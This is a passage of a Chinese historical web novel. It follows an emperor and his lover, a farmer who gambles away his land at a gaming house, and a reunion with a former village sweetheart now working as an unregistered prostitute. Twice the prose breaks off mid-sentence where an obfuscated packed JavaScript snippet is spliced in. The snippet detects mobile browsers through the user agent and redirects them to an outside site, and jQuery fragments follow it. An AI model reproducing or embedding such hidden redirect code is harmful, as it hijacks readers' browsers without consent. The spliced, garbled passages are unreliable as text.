“据说几十年前,他西征花剌子模,粮草断绝,他用尽了望梅止渴的招数都无法再稳定住已经濒临崩溃的军心。那时,他做了一个局。 “我爷爷让人把最后仅剩的干草装在麻包中堆放在敌军辖区的山谷中,再让军中几个老实人坚信这是敌军的粮仓,这几个老实人又让全军人坚信,只要攻下撒马尔罕,他们就可以吃到女人脸蛋子那么大的白面馍馍。” “最后,军队饿了三天肚子,头昏眼花,却在毒太阳下愣是攻陷了守备森严的撒马尔罕。” 文湛听着点点头,“有点意思。” 在一旁的韦睿听着心中一动。 这段时日,他暗自翻阅了兵部一些旧档,全部是近十年有关西北军的一些邸报,其中尹氏六部占据十之七八,而赵毓的消息只在只字片语中。只是,这些东西,懂军务的人粗略品品,也足够惊心动魄。 等到皇帝进屋,瞅准空当,韦睿问赵毓,“赵将军,您方才说的事情,不是令祖而是您本人的经历。” 赵毓有些意外的看着他,“呃,这个,……” 韦睿,“撒马尔罕已经被围困了很久,没有粮。” 赵毓,“他们没有粮,可是,他们有羊啊。” 韦睿,“万一,您的军队攻不下城墙怎么办?为什么不等后方将粮草运过沙漠再做万全的打算?” “年轻人。”赵毓轻笑着,“我们的粮草是运不过茫茫戈壁的。” 他看着皇帝在不远处看着他们说话,似乎有些不悦。 “这本身就是一场有去无回的战争。”赵毓快走几步,回头扔下一句,“世上的事都这样,谁怕死,谁先死。” 等到烟土被彻底销毁之后,已经过了子夜。 他们没有回雍京,去了南苑猎宫。 “难得出来一趟,咱们在外面住上两天。”赵毓说,“正月就要过完,二月二龙抬头之后花骨朵和小草要去读书,现在还不知道适应不适应,估计要忙乱一阵子了。” 这一次本来没有想着在外面留宿,柳丛容和黄枞菖都没有跟出来。猎宫留守的小宫监本就不多,很多人平日里根本没有资格靠近皇帝,所以此时近身伺候起来都战战兢兢地。赵毓让他们准备好热茶热饭,就退下。 “陛下,我服侍您呀?” 他帮文湛宽衣。不过,很快,皇帝就揪住了他那两只异常不安分的爪子。 文湛冷淡的说了一句,“吃饭。” 木桌上饭菜很清淡,几样小菜,两碟子小包子,还有鸡汤和极细的挂面,看着就暖胃,两个人吃着也顺口。 吃完饭,赵毓伸着腰去泡温泉。他解乏到几乎要昏昏欲睡了,才被文湛从池子中捞起来。 回到寝殿,他裹着干净的绸衣,手中拿着小剪刀,正在剪脚趾上的指甲。文湛把自己的头发擦的干爽一些之后,想要给赵毓擦头发。他一进内殿,就看见赵毓手中的剪刀左右比划,下手不稳,甚至还差点剪掉脚趾上的一块皮肉。 “给我。” 文湛接过赵毓手中的剪刀,坐在床边的脚踏上,手指不轻不重的捏着赵毓的脚趾,开始很仔细的为他剪脚指甲。 他一满月就被先帝正位东宫。 赵毓上树翻墙掏鸟蛋养胖兔的时候,文湛一直被最严苛的礼教驯化。 如果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728960|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他少年时代与赵毓的纠缠,并且为了得到皇位使出那些令人惊骇的计1谋与显露出无可动摇的野心,所有人都以为他早已经被数千条宫规驯养掉了野性,成为文人士大夫眼中最完美的帝王。 只是。 这样经年累月的驯化还是塑造了文湛的性格。 他比赵毓显得细致沉稳许多。 此时尤其如此。 赵毓看着自己的脚趾被文湛捏着,力度很像是握住脆弱的雏鸟,不让它飞,也不让它疼。 每一剪,力度适合,切的极精准。 皇帝的手指白皙精致,显得异样的名贵,可是自己接触到的却是他指尖的温度,此时,那双手很难再被认为是没有生命的玉雕。 酥麻。带着力度的酥麻犹如滔滔黄河一般从脚趾尖冲击上来,不可阻挡。 赵毓甚至感觉自己耳朵尖都开始颤栗! “呃,……,文湛,……,我那个,……” 他竟然开始结巴! “……,就是,我那个不是病的毛病,什么时候好,……” 啪嗒。文湛手中的剪刀剪去一块指甲,就被他挪到一旁。很久,他不说话,也不动,直到灯花爆了一下,他才说稳了稳心神,继续低头做他目前认为很重要的事情,——给赵毓修剪脚指甲。 文湛,“等回宫,找个稳妥的大夫给你看看。” 赵毓,“呃,……,好。” 半晌,文湛低声问了一句,“很难受吗?” 赵毓,“……,也还好。” 文湛说,“我知道你没受过这种罪,只是,为了你的身子,也只能这样了。” 赵毓,“哦。……,你不难受吗?” “我?”文湛说,“习惯了。” 文湛这几个字说的异常平淡,似乎与吃饭喝水一般,当真是早已被迫习惯了禁欲与守贞。赵毓听着,说不清楚心中是个什么滋味。 剪刀用完,文湛从一旁的小匣子中拿出来一个小锉,开始打磨指甲上不平的地方。不一会儿,赵毓的两只脚丫子上十只脚趾的指甲被打磨的圆圆润润的,像十个雨后荒原上冒出来的白蘑菇。 灭了灯,过了很久,文湛才回寝殿。他的全身像是被冻住,赵毓掀开被子让他躺进来,自己还打了个寒颤。 深夜如同铁幕。 寝殿由于高,由于深,显得尤其的暗。这个时候,睁开眼和闭上眼没有任何区别。 赵毓感觉到绸衣被解开,枕边人的手探入,……,他的身体被很温柔的抚慰着,心尖上像是灌入了温热的蜜。 嘴唇被细细的亲吻覆盖。 …… 他感觉有些热,微微出了汗。 与身体感知到的温柔不同,赵毓承受着文湛的亲吻是热辣的,带着凶狠,激烈异常,甚至还有些微的疼痛。 赵毓的双手揽住文湛的脖子。 手指绞着皇帝身上贡缎衣袍,——嘶!撕裂锦帛的声音划开内殿的静寂。 随后,赵毓被文湛用尽全力拥住,他像个猎物一样蜷缩在皇帝怀中,一动不动,半宿,安宁的夜才重新降临。 …… 罗小草的爹在赵毓的宅子中得了五十两银子。 他这辈子就没有见过这么多的银子。 那个时候,他从一个看上去有些半男不女的人手中接过银锭,他以为自己在做梦。背人的时候,他甚至还狠狠咬了手腕一口,疼的有些血肉模糊,却让他欣喜如狂。 五十两白银! 足足够他活下半辈子了。 不! 他心想,——我要换个活法。 罗家祖上几代人都是勤勤恳恳的农人,耕田缴租,踏实过活。这些年是太平光景,风调雨顺,几辈子人盖了瓦房,攒了几亩地,不用再给地主扛活,本来日子过的和顺,比上不足,却足足比下有余了。 可是去年雍京的银价打着滚的向上翻了三番,官府收取秋租又必须用白银,他们家多年积攒的家底差点就灰飞烟灭。要不是他卖了闺女收了些银子抵了税银,他们老罗家就得卖田卖地,一家老小上街要饭。 再看看别人! 就比如这个姓赵的人。 他是商人,天下四民,市农工商,论地位,他姓赵的还要排在罗家之后,可是再比比他们两家人过的日子,天差地别,犹如云泥。 赵毓不用每天面朝黄土背朝天的辛苦劳作,就可以住在雍京城最好的地段,宅院不大,却透着文雅,家中有下人伺候,还可以买别人家的闺女来糟|蹋。 说来说去,不就是他姓赵的手中有银子吗? ——如果我也有银子,有大量的银子,那就我,…… 他想着,停下脚步。 青天白日,眼前的铺面散发着一种光怪陆离的魔力。 似乎有些狰狞,却笼罩了一片绚烂的光。 门面上挂着一个牌匾,上面写着四个大字: ——有家赌坊。 103. 103 103 薛宣平新近收了一家赌坊,已经改了招牌,这个时候,他带着账房正在查账。 四个账房手底下的算盘珠子噼里啪啦的乱响,手边就是这间赌坊历年的旧账,他们一笔一笔的核算着。 薛宣平看了看流水,心中粗略估算了一下,觉得这里的账目还算清爽。 这里外面也没有那么多收不回来的烂账,同时,赌坊原来的东家放出去不少给雍京周围村落农人买种子度荒年的债,利息不高不低,有的赚,但不会是阎王债那种利息高到敲骨吸髓,弄的天怒人怨。 他开口问其中一位老账房,“按理说,这种账目清爽的赌坊就是一棵粗壮的摇钱树,之前的东家怎么就出手了呢?” 这位老先生一直跟着赌坊之前的东家,如今也没走,继续在这里。 “老东家去了,几个儿子分家。”老账房叹口气,“家里的锅碗瓢盆都要一个一个的数过去,就怕自己少分一个勺。赌坊这么大的家当,给谁管都不合适,总觉得不到自己手里,年底分红利的时候会被刻薄,所以他们就卖了。落袋为安,踏实。” “哦。”又是一桩这样的事情。薛宣平听得多,见得多,不稀奇,只是不咸不淡的说了一句,“多儿多女多冤家。” “也不对。”老账房絮叨,“那几位少东家都是我看着从小长大的,孝顺厚道,就是娶了老婆之后都变了。要我说,他们闹到今天这样兄弟分心,都是家里的败家婆娘们挑唆的!” 薛宣平撇嘴,没说话。他手中一碗豆汁,正龇牙咧嘴的喝着。 这玩意儿味道极其古怪,好像陈放了多年的洗脚水。原本,他根本喝不下去,但是赵毓说过,这是雍京地道的吃食,老雍京人都爱这一口。为了生意,他得尽早学的像个祖孙三代都生在雍京、长在雍京的人一样,这样,在这个大码头里,才能更加如鱼得水。 他一边喝着“洗脚水”,一边估算着时日。 赵毓这几天出京办点事,将一件不大不小的事情交待给他。 ——“去绮镇半道上有个村落,咱们那次还在人家家中落脚打尖来着,你还记得?哦,对,就是那户人家,姓罗。老薛,你找个因由去结识一下那家的男人,然后请他吃顿饭,最后,领着他到南城夕照后街走一趟,最好能见到街北面桂叶小院住着的女人。” “夕照后街?”老薛一愣,“那里不是有一些暗门子?怎么,老赵你让我带着这个姓罗的去喝花酒?我说,你也太抠了,喝花酒咱们上观止楼,不好南风就去书寓,老赵你的客人怎么也落不到去暗门子快活的地步吧。” “不是喝花酒。”赵毓说,“就是让他见一见桂叶小院住着的女人。还有,你可看住了,千万不能让他眠花宿柳。” “怎么,这个姓罗的老小子跟你有仇?” “没呀。” “那你怎么这么折腾人?”薛宣平觉得可笑,“你让我带人家逛窑子,又勒住人家的裤腰带不让人家睡姑娘,让人看得着吃不到,这不是仇是什么?” 赵毓说道,“那个女人是他的同乡。当年这姑娘的亲爹贪财,把她卖给一个大户人家做小,结果老爷图了几年的新鲜就仍在一边,再加上她也没有生养,没孩子,就被大户给卖了出来。一个女人家,什么也不会,有家也回不去,不做这行还能上哪儿淘换口饭吃?老薛,我让你带着这个姓罗的去看她一眼,主要是想着让他警醒一下,高门大户不是那么好进好出的。” ——咸吃萝卜淡操心。 薛宣平心想着,把手中的豆汁喝干净,叼了一根焦圈正嚼的欢腾,外面进来一个伙计,他一愣,“金花,我不是让你出城盯着姓罗的那人吗?你怎么回来了?” “嗨,别提了老大。”那个小伙计要了一碗热茶,“那个人昨晚宵禁之前进了城,一脑袋扎进咱们这个‘有家赌坊’,根本没出门。我在外面蹲了一宿,实在是困的受不住,这才进来讨口水喝。” “赌?” 薛宣平心想,坏了。 “你们谁让他进赌坊大门的?” “老大,您这话不地道。”赌坊新任大伙计门清笑着对他讲,“咱们‘有家赌坊’做的就是开门的生意。客人要进门,只要咱开着门,就得让客人进来,不能拒,这是祖师爷的规矩。再说,金花说的那人我知道,人家一进来出手就是五十两的银锭,雍京铸银局的硬货,成色好得市面上都罕见,咱们做生意厚道,愣是给人家换出了五十五两的筹码。老大,我们够仁至义尽了。” 薛宣平听完寻思了一下,也是这么个理儿,他问金花,“谁给他这么多银子?” “那咱们就不清楚了。” ——难道是赵毓?薛宣平一转念,立刻否定了心中的想法。 赵毓的万贯家财,有一半是赌桌上赢回来的,所以,他时常挂在嘴边的一句话就是“十赌九输”,如果再多算上一句,那就是“一个老实人,如果给他一百两银子一张赌桌,再来点小道消息,不出三个时辰,准能倾家荡产。” 老赵就是这么一个人。 他深陷赌局,自己就是其中翘楚,自然熟知其中的门道和险诈,绝对不可能把人往邪道上引。 那么,姓罗的这钱是哪儿来的? 五十两的官锭,雍京铸银局的硬货,…… 倒不是说市面上绝对没有这种银锭,这就如同宋徽宗的画,黄公望的山水,赵孟頫的字一般,珍稀,等闲小民百姓根本见不到。他姓罗的一个雍京北村的普通农人,平时连五两、十两的银锭子都没见过,手中怎么会有这种官锭? 薛宣平想了半天,也弄不明白,所以他马上就不想了。他问门清,“姓罗的人呢?” 门清笑着说,“那五十五两的筹码早用尽了,抵了他说的房契地契之外,还欠了咱们一百多两的账。兄弟们按着他,不让他继续玩,再玩就剁手。要说,天底下就没有咱们这么厚道的赌坊,客人哭着喊着要欠债,咱们愣是把财神爷向外推。” 薛宣平也气得乐了,“推吧,以后咱们日进斗金,不在乎这一个两个过路财神。” 他赶紧出门,到自家赌坊捞人去。 罗金梁(罗小草的爹)觉得自己倒了大霉,一定是今年的风水妨他。 前些年一个游方和尚说他媳妇的八字不好,不但不能旺夫,而且还会带衰他们罗家。当时他爹还活着,他这个老婆就是他亲爹做主娶进门的。他爹对于儿媳妇的要求不高,就三条:彩礼便宜,生儿育女,操持家务。至于这个儿媳妇模样品行,还有和儿子是不是情投意合,老头子根本不在意。 他这个媳妇便宜,彩礼要的比同村姑娘少了一多半,洞房的时候,他就发现这个女人不是黄花闺女。当年,他把这事告诉他娘,他娘又告诉他爹,老头子抽了一晚上的旱烟,最后叹口气,“咱家又不是做老爷的,找女人一定要黄花闺女。这女人进门之后,只要安分,能用,能生养,能干活就成,别的,就别管了。” 小草那个丫头生的好,可是究竟是不是姓罗,罗金梁也说不准。反正儿子肯定是他们老罗家的种。这么多年都过来了,孩子养着养着也有感情,他媳妇也安分过日子,罗金梁也就不太在意了,只是从去年开始,凡是跟着丫头沾边的事情都没个好,——难道之前的冤孽现在才发作? 他正胡思乱想,身边赌坊的伙计都起身,外面进来一个人,胖大,身上的衣服料子却是极好的,他的脸蛋子很肥厚,眼睛被腮帮子挤的快看不到了,却是笑着说话,“这不是罗先生吗?怎么不认识我了?去年夏天,我赶夜路经过贵庄,是在您府上歇了歇脚,我还借着您的院子熬了一锅肉汤?我啊,我是老薛啊!” 罗金梁感觉,自己的运气也许没有用尽,冤孽远没有到发作的时候。 宁淮侯府。 赵毓撩起袖子,把手腕露出来,让崔珩找来的老大夫给号脉。这位老大夫是个军医,云贵义州苗人,祖传专治不孕不育。 七年前,义州土司叛乱,崔珩率兵平叛,半路上缺医少药,他力排众议,直接征调当地苗医苗药,在三个月之内结束了战争。那场平乱死人很少,军费比平时少了三成,抚恤也省了很多,虽然不能说全是苗人的功劳,可是苗医在其中起了大作用,这是抹杀不掉的。 这位老军医一直跟着崔珩,直到现在。他也是七十的人了,雍京住的够够的,最后想落叶归根,死前再看看大娄山,喝一口乌江的水。他向宁淮侯辞行,崔珩给足了川资路费,找人送他返乡,就是回去之前,最后给一个人号一下脉。据说,这个人是宁淮侯的弟弟。 在雍京城住久了,老军医虽然交游不算广阔,也知道一些事情,比如,侯门公府多纨绔。这些出身高门的败家子,倚仗着族中的祖荫,家中一个两个出息的子弟撑腰,平日里不是消磨在烟花柳巷,就是斗鸡走狗,不干一点正事。 赵毓伸着手腕子,眼睛盯着面前这位老大夫。他上了年纪,可是眼睛并不浑浊,头发也一丝不苟,发式却有些奇怪。老者头发虽然工整的梳一个发髻,可是前面从额头到发髻却分开一道印,就好像在脑袋上很严苛的画出楚河汉界,再加上他的衣服着左衽,赵毓一看就知道是外族。 赵毓问他,“大夫,我这虚症,是不是好了?” “好了。”老军医刚直的点头,“以后行房不可再贪,你们总是说惜福养生,不是说少吃一碗饭,少喝一盏茶,说的就是这男女之事。我给你写一些食疗的方子,让厨子仔细做出来,长久吃下去,不然,贵府上的子息不旺,即便是有孩子降世,怕也是多病多灾的命。” 赵毓把袖子撩下去,翻了翻白眼,没说话。 崔珩就坐在一旁,他低着头,手中拿着纸捻,正在抽水烟。手下人引着老军医离开,不一会儿回来,双手捧着一张宣纸递给崔珩,他扫了一眼,上面写的都是一些平常吃食,不是什么大补的方子。 “看来那个老家伙不待见你。”崔珩说,“没事儿了,他吓唬你的。” 周围人都离开,赵毓端着盖碗喝了口水,他看崔珩,就发现这位依旧低着头,手指捻着纸捻控着火,不紧不慢吸着银水烟杆上的红玛瑙嘴儿,脸不抬,眼也不抬,一张脸就在烟雾缭绕之后,看不真切,也不知道正在想什么。 赵毓开口,“你们家的厨子还会做那种花生酥糖吗?” “想吃?”崔珩把纸捻抖了抖,扔到旁边的香炉中,一燃而烬,随后,他把银烟筒放在一旁,“那是我的手艺,你想吃,我做给你。” 半晌,赵毓没吭声。 崔珩,“怎么了?” 赵毓抓了抓头发,“其实不是我嘴馋,是我想拿来做人情。过几天越筝邀我过王府一趟,我想着他小的时候喜欢吃这种花生酥,就琢磨着带点过去。我知道你不喜欢他,要是劳动你亲手做酥糖,有些不太好意思。” 崔珩看了他一眼,“你想吃吗?” 赵毓点头,“嗯,你这么一说,我也馋了。” 崔珩端起来茶水漱口,把水吐到旁边的痰盂中,说,“你想吃,我给你做。至于你吃不完想要做什么,那是你的事,我管不着。” 赵毓,“哦。” 过了一会儿,崔珩问,“雍王叫你过去什么事?” 赵毓说,“吉王祖产的地契在我手里。我还没想好怎么还给他,这不,他可能有些着急,就托了越筝做个中间人,说找个时候聚一下,商量商量这事。过几天二月二,越筝想着正好趁这个日子请一些人到他的园子中聚一聚,我小舅子那边也拿到了请柬,盛家的那个孩子,还有宗政家的孩子都去,他们小孩子凑热闹,正好也多认识几个朋友。这次是我回雍京之后第一次正式登越筝的门,总应该表示一下心意。” “吉王那个老狐狸,……”崔珩听着忽然一乐,“我当时还以为他抵押了祖产和你押宝同一边,没想到这老家伙看着贼精,其实还是条糊涂虫。他把所有的筹码都压在雍京银价飙升上了,怎么,他就真信雍京的银价永不回落?” 赵毓却说,“黄枞菖告诉过我,他翻遍史书,就没见过银子不值钱的时候。关于控制银价货币这种事,户部无能为力,朝廷一向放手不管,没法子,祖宗的规矩,货币的真身是白银黄金,朝廷一向把它们当成物产而不是王朝财政权柄。” “好多老百姓挖个锅炉就能铸币,模样弄的千奇百怪,早就见怪不怪了。去年那情景,但凡看了几本国史有些常识的人,哪个不知道囤白银能发大财?谁想到雍京银价一天之内贱的只剩之前的三成?老吉王当时做的事情,应该是他认为最恰当的。” “他想发国难财,没想到搬石头砸自己的脚。”崔珩冷笑,“这些名字写在宗室玉碟上的王公们,但凡心中有一丝半缕家国天下,就干不出这种事。不过,这同我也没什么相干。如今这天下是人家祖宗提着脑袋收割天下人头打下来的,子孙再怎么挥霍,也应当。” 赵毓问他,“真心话?” 崔珩却不说话了。 赵毓了解他,如果说‘他们家’还幸存着一个读书人,那就是崔珩。 他的放荡不羁,彪悍不逊,不过是外壳的伪装,宁淮侯核子里面居然是一个铁骨铮铮的书生。忧心天下,硁硁自守,不怕穷困潦倒,更不怕富甲天下,甚至连死亡都在一笑之间。帝王也对他这种混不吝的劲头不得不敬惮。所以,赵毓不相信崔珩心中真实所想的是“家国与我也没有什么相干”这种屁话。 不一会儿,外面有下人进来禀告,“侯爷,内廷司礼监的秉笔大太监黄枞菖来了。” 崔珩听着,站起来,没动,却问了一声,“有旨意?” “不算有,也不算没有。”下人有些为难,他看了赵毓那边一眼,发现赵毓正在仔细吃油酥肉饼,压根就没理他这个话茬,“侯爷,您出去看看就知道了。” 崔珩跟着那人到外面,就看见黄枞菖领了四个小太监,抬着一只死鹿过来,“崔侯,这是圣上赏的。” 崔珩按照朝廷的礼节谢了赏赐,还给抬鹿肉过来的内廷宦官一些赏钱,那四个小太监高高兴兴的走了,只留下黄枞菖。 “黄秉笔,怎么着,您想在我这里混饭吃?” “侯爷,我们从小的交情,您不会这么小气不给添双筷子吧。” “没别人的筷子也有您的。”崔珩说着,引着他向里屋走,“圣上的赏赐别过夜,咱们今晚就烤鹿肉吃,就咱们仨儿,多一个人都没想吃这一口儿。” 里屋的赵毓吃完肉饼,蜷在大罗汉椅上正在看书,见黄枞菖进来,也有些意外。 黄枞菖笑着说,“圣上知道您在外过夜,怕晚饭吃不顺口,就命奴婢送了鹿肉过来。您不是说过最近馋这个了吗。这鹿是圣上在南苑亲手猎的,从猎宫带回来的时候还有气,这才刚咽气不久,新鲜着呢!” “圣上亲手猎的呀。~~~~”崔珩阴阳怪气的来了一句,“那他老人家最近心气应该不太顺。也对,最近朝堂上诸事繁杂,北境不太平,乱象已生。” 黄枞菖不说话了。 他可不敢私下随意谈论朝堂的事,还有议圣。崔珩是外戚,有免死金牌,他只不过是还算得宠的天子家奴,胡乱说话有血光之灾。 赵毓看了崔珩一眼,“又乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728961|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。” “我可没乱说。你没见刚才那鹿抬进来的样子,死不瞑目啊。身上插|了得有,……”崔珩眼球向左边转了转,当真是回想起方才看到的情景,手指攒动,数着数,“一、二、三,……,大约得有七八枝长箭,每一支都不致命,活生生的放血,我都替那头鹿疼的慌。血肉模糊,惨不忍睹!死不瞑目,当真是死不瞑目啊。” 赵毓放下书,“那一会儿鹿肉烤得了,你别吃。” “那可不成。”崔珩坐下,又开始摆弄他的水烟,“这是圣上赏赐给我的吃食,如果我不吃,那是大不敬。我得吃!再说,那鹿虽然死不瞑目,却鲜啊。” 有家赌坊。 罗金梁对着薛宣平大喊,“抽老千,他们抽老千!” 对,一定是赌场抽老千,不然,他怎么会输呢? 昨儿夜里,他揣着五十五两筹码上的赌桌。他不会别的,就去赌大小。一开局三把,他都押宝四五六大,那三个骰子骨碌骨碌乱转,最后停下,全部都是他押的数,真比他亲儿子都听话! 他是赢家,通杀! 可是,后面赢的就不那么爽快了。那几个骰子好像喝了酒的醉鬼,乱骨碌,最后停的也不对,数都不对,他赢面很小,就算勉强算他赢,也不过是多一两个小竹篾子筹码。他以为这已经很糟了,没想到更糟心的还在后面。 那之后,他根本没有赢面,一直输,一直输。 从输一两个小竹篾子筹码开始,一直到一两银子的筹码,再后面,则是二两,三两,……,他当时头昏脑涨,可是依旧记得那个恐怖的场景,他一把输掉白银五十两! 他心跳的都要有血的味道了,可是全身上下却异样的亢|奋。 可是。 那个时候他有一种奇怪的坚定,——他会赢,下一把,他会赢! 他输了。 输的一败涂地。 他所有的房屋地契都抵了,还欠赌坊一百多两银子。 “不可能抽老千,有家赌坊做的可是正经生意,抽老千这种缺德事,绝对不会做。”薛宣平笑的异常慈祥,像一尊弥勒,“罗先生,您太累。我看这么着吧,您先在这休息一晚上,明天养足了精神再战赌场,怎么样?” 薛宣平让人端了一锅卤煮过来,还有一个盘,足料的蒜泥、辣椒油、红方和韭菜花。罗金梁真饿了,他没来得及吃火烧,直接端着大碗就把这一锅卤煮下了一小半。薛宣平见他吃饱了之后,又让后厨烧水,找两个小子伺候他洗头洗澡,折腾完了又让伙计在后院厢房放一套干净被褥,罗金梁一沾床,倒头就睡,直到天亮。 第二天,他养足了劲头,拿着薛宣平“借”的他三十两银子重上赌桌。也许真是精神足了,罗金梁感觉今天手气出奇的旺,想要什么,骰子就能滚出个什么。他手中的筹码越来越多,越来越多,最后,终于可以平掉他之前欠的账。 只是,就在他越战越勇,想要攻城略地,直下山河数千里的时候,却被薛宣平勒住那双手。 “罗先生,适可而止。” “怎么,赌场输不起?” “有家赌场输得起,不过,我怕您输不起。”薛宣平依旧笑的像个弥勒,“一个人的好运是有定数的,赢的太多,我怕您输的也多,还记得昨天的教训吗?罗先生,来日方长,赌坊的大门一直敞开,只要您想要进来,绝对不拒客。走,我请您吃顿好的,也好感谢您去年夏天的好意招待。” 他们到雍京南城的九居楼,老板祖籍洛阳,擅长做水席。 薛宣平点了一盆子牡丹燕菜,罗金梁却吃的有些不知滋味。——他能赢,他还能赢!他能把之前输进去的都赢回来,他就能赢更多! 这种心思一直折腾罗金梁,他自己都不知道自己怎么吃完的东西,怎么下的九居楼,又怎么顺着薛胖子走到了夕照后街。 这里很有名,却没有人们想象中的香艳。夕照后街更像是一条普通胡同,如今还在正月中,很冷,树光秃秃,两旁都是青砖青瓦的院子。这里暗门子多,所以女人多,还有一些孩子。 薛宣平似乎没有注意到哪里了,他肥厚的手掌一挥,指着前面,“那里有家茶楼,扬州样式的,茶点卖的不是瓜子花生而是肉包子,咱们去尝尝。” 罗金梁跟着他向前走。 穿过花街。 午后日头大,就在人的头顶,明晃晃的。 那里有一个院子,小丫头出门买烤烟丝,门里面站着一个女人,斜垂着发髻,挽着木钗,脸上没有浓重的粉黛,挡不住眼角眉梢的岁月痕迹,却让她像是一个被用了很久的咸菜坛子,显出温润的气息。 ——玉芳。 她是村子里面最美的女娃。 她和他从小一起长大,老屋就建在一棵老槐树的东西两边,房前屋后的瓜菜都纠缠在一起。他一直以为长大了她就是他老婆,可是她爹另有打算。 玉芳家是村里大姓,她爹辈分高,一向看不上十里八乡的小子们,觉得他们没有一个配给她们家做女婿。玉芳爹托了一个远亲给她说亲,他们家卖掉了一头老牛做人情才给玉芳找了一个富贵人家做小。 虽然说给人做小不如正头夫妻好,可那要分什么人家。当时玉芳夫家过彩礼的时候,一车的好东西外加一盘银锭子,不盖红布,就这么招摇过市。那天的日头也像现在这样,明晃晃的,照着银锭子寒芒芒的,闪瞎村里人的眼。 那天过来送彩礼的是玉芳夫家的管家,一个身上穿着棕色绸衣的老头儿。他让玉芳爹喊闺女出来,他自己举着烛台一个劲的往玉芳脸上照,那双眼睛好像黄鼠狼一样,把玉芳的脸皮都看下去一层。 随后,老头儿给了玉芳爹钱,也定下了过来接人的日子。 他说,“后天轿子就到,您让九太太洗干净脸,把做姑娘时候的衣服挑一两件好的带着。我们申府规矩大,府邸里的太太小姐们一向不穿外面布料的衣物,嫌粗,磨着皮肉,疼得慌,九太太就算把衣服带进府,也得烧了,与其这样,就别费事儿了。” 玉芳爹自然千万个答应。 上轿的头一夜,玉芳翻墙到罗家,摸到他罗金梁的炕头,“金梁,要了我吧。我明儿走,以后也回不来了,临走之前我自己做回主,把身子给你。” 他不敢,他怂。 那天申府过彩礼的阵势把他吓着了。 他裹着被子一动不动,半宿,玉芳叹口气,才离开。罗金梁感觉自己把牙都咬碎了,可是他就是不敢伸手抱她。他怕申府的财雄势大,他怕自己走了这一步,坏了玉芳的身子,那家的老爷会把他剁碎了喂狗。 玉芳上了申府迎亲的粉红小轿之后就断了音信。 她爹用她的彩礼在村子北面置了五十亩水浇地,盖了新瓦房,给儿子娶了一个邻村的漂亮女子做老婆,三年后还生了一对儿孙子。但是,谁也不知道玉芳在哪里,在做什么,她在申府是不是得宠,有没有给老爷生个一男半女。 五年前,玉芳爹死,她也没有回来。 逐渐着,村子里的人都忘了玉芳这个人。 这么多年过去了,有的时候,罗金梁自己也琢磨,要是那一天他豁出去,他要了玉芳,他带着她远走高飞,…… 时光是村头那条一直流淌的沙河。不会回头,也不会给他一个机会,让他回到她上轿的头一夜,对她说,“别怕,我带你走。” “金梁?” 夕照后街院门后的女人推开门,笑着温润中带着泼辣,早已经不是当年村中的娇羞女娃。 “你怎么到南城来了?有空吗,进来喝杯茶?” 104. 104 104 兰叶巷。 赵毓看着自己家的大门,完全敞开,他在最后一介台阶上止步,——有家归不得。他还是先问清楚再说。 他院子里面跪着的那个女人的哭声非把他的屋檐掀翻!——“赵老爷,我们家男人被抓进顺天府了,冤啊,真冤啊!” 薛宣平蹲在门边,像一只貔貅,他说,“咱可真没想到那个叫玉芳的女人是南城大户何家二奶奶的胭脂狗!” 赵毓又下了两节台阶,坐在大门的另外一边,同薛宣平形成一对儿不靠谱的门神。 薛宣平叹气说,“我得到的消息和你的差不多。玉芳是进了申府做的小姨娘,因为性子硬,不会讨夫人的欢心,在老爷对他的新鲜劲头过了之后,就被卖出府,给一个卖炊饼的做老婆。后来,那个卖炊饼的死了,她拉扯着一个儿子过活,实在活不下去,这才下了水,脏了身子。” 赵大爷出门买面条,一见大门外一左一右坐了两个门神,他把腿又缩了进去。 薛宣平继续,“那天我带着罗金梁去夕照后街,也见到了玉芳。人家请我们进门,又是茶水又是烟丝的伺候着,还温情小意的陪着说话,我们一直待到晚上,在她那块儿叫了夜饭。临走的时候,我想着咱们怎么着也是用人家作伐,所以就多留了二两银子。” “也许是这些银子露了白,那个玉芳就和罗金梁勾搭上了。我也是后来才知道,他们两个原来在村子里就有一腿,现在更是干柴遇烈火,拦都拦不住。” 赵毓也没想到这个,不过他更想知道的是,“那个南城何家又怎么掺和进来了?” 薛宣平,“何家在南城是一霸,和顺天府都连着呢,手特别长。他们没塌架子之前,夕照后街的房子都是他们家的。现在何家子孙吃喝嫖赌抽,把祖产都当了,最后只留下他们的老宅。不过瘦死的骆驼比马大,他们的势力还是有的。夕照后街的暗门子,说起来都是每户女人自己的买卖,其实有很多都靠在何家身上。” “也不稀奇。咱大郑的烟花之地有烟花之地的规矩,入乐籍,三分税银,一切都有规矩可循。暗门子不入贱籍不上税,是个女人只要狠下心就能做,要的价钱还便宜,生意也还成,反正饿不死。只是,这上不来台面,顺天府可以依照大郑律法拿人的。不想被抓去吃牢饭,就得使钱。不是我说的,顺天府那些捕快小吏真黑,三天两头的上门要钱,时不时还白睡。人家姑娘们身子挣的糊口的东西不容易,自然不能继续这么下去。” “她们就托庇于何家。所有的生意给何家四分利,虽然剩的少些,至少还能落下点什么。还有,那些捕快小吏知道她们背后有何家撑腰,也不敢过于放肆,这日子也就过得下去了。玉芳就是这样。说她是何家二奶奶的胭脂狗,也不算太确切,可是顺天府抓罗金梁就是用了这个理由——拐带何府侍妾。” 